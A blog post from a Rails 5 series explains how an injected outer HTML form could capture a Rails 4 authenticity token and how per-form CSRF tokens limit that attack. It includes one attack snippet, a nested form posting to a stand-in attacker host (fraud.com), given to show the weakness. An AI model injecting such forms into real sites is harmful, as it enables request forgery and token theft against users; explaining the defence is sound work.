Each form gets its own CSRF token in Rails 5

This blog is part of our Rails 5 series.

We have written an extensive blog on what CSRF is and what steps Rails 4 takes to prevent CSRF. We encourage you to read that blog to fully understand rest of this article.

Nested form can get around CSRF protection offered by Rails 4

A typical form generated in Rails 4 might look like this.

<form method= "post" action="/money_transfer">
  <input type="hidden" name="authenticity_token" value="token_value">
</form>

Using code-injection, a Hacker can add another form tag above the form tag generated by Rails using JavaScript. Now the markup looks like this.

<form method="post" action="http://www.fraud.com/fraud">
  <form method= "post" action="/money_transfer">
    <input type="hidden" name="authenticity_token" value="token_value">
  </form>
</form>

HTML specification does not allow nested forms.

Since nested forms are not allowed browser will accept the top most level form. In this case that happens to be the form created by the hacker. When this form is submitted then “authenticity_token” is also submitted and Rails will do its check and will say everything is looking good and thus hacker will be able to hack the site.

Rails 5 fixes the issue by generating a custom token for a form

In Rails 5, CSRF token can be added for each form. Each CSRF token will be valid only for the method/action of the form it was included in.

You can add following line to your controller to add authenticity token specific to method and action in each form tag of the controller.

class UsersController < ApplicationController
  self.per_form_csrf_tokens = true
end

Adding that code to each controller feels burdensome. In that case you can enable this behavior for all controllers in the application by adding following line to an initializer.

# config/application.rb
Rails.configuration.action_controller.per_form_csrf_tokens = true

This will add authenticity token specific to method and action in each form tag of the application. After adding that token the generated form might look like as shown below.

<form method= "post" action="/money_transfer">
  <input type="hidden" name="authenticity_token" value="money_transfer_post_action_token">
</form>

Authenticity token included here will be specific to action money_transfer and method post. Attacker can still grab authenticity_token here, but attack will be limited to money_transfer post action.